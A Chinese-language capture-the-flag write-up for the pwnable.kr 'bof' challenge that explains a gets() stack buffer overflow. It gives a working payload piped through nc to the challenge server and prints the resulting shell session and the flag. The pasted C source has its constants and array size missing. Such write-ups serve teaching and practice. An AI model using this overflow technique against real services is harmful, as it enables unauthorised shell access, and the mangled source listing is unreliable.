天天看點

pwnable.kr bof

pwnable.kr bof

pwnable.kr bof

同樣的,既然有源代碼。我們就配合着源代碼來做題,這樣可能更利于搞懂進階語言被反彙編之後兩者之間的聯系。

bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == ){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func();
    return ;
}
           

這是關于數組溢出的問題,導緻這個問題的原因是由于 gets() 函數沒有檢查接受字元串長度導緻的。有的編譯器在編譯源代碼的時候也會提示警告。其實這個題目也是相當的簡單,如果你了解棧機制的話。

我們要做的就是讓輸入的字元串的後面四個位元組覆寫 key。其實我們要做的就是算出 overflow 數組的首位址到 key 首位址之間的距離。

pwnable.kr bof

gets(overflow) 是接受輸入,當然是從 overflow 的首位址開始存儲位元組。前面的 esp (esp在彙編中為棧頂指針,棧中資料都是從棧頂進去的,是以你懂的…)存放的就是 overflow 的基址,為 ebp + s 其中 s = byte ptr - 2ch。然後 key 的基址當然要在 cmd 裡面找,因為 if (key == 0x….) 是以 ebp + arg_0, 就是 key 的基址,其中 arg_0 = dword ptr 8。然後很簡單的算出兩者的距離為 52。是以我們在輸入 0xcafebabe 之前需要填充 52 個字元。

解題:

$ (python -c "print 'a'*52 + '\xbe\xba\xfe\xca'"; cat -) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)
           

*Flag:***daddy, I just pwned a buFFer :)

其實用 gdb 調試也是一樣的,由于時間和精力問題,這裡不繼續下去,感興趣的自己去嘗試。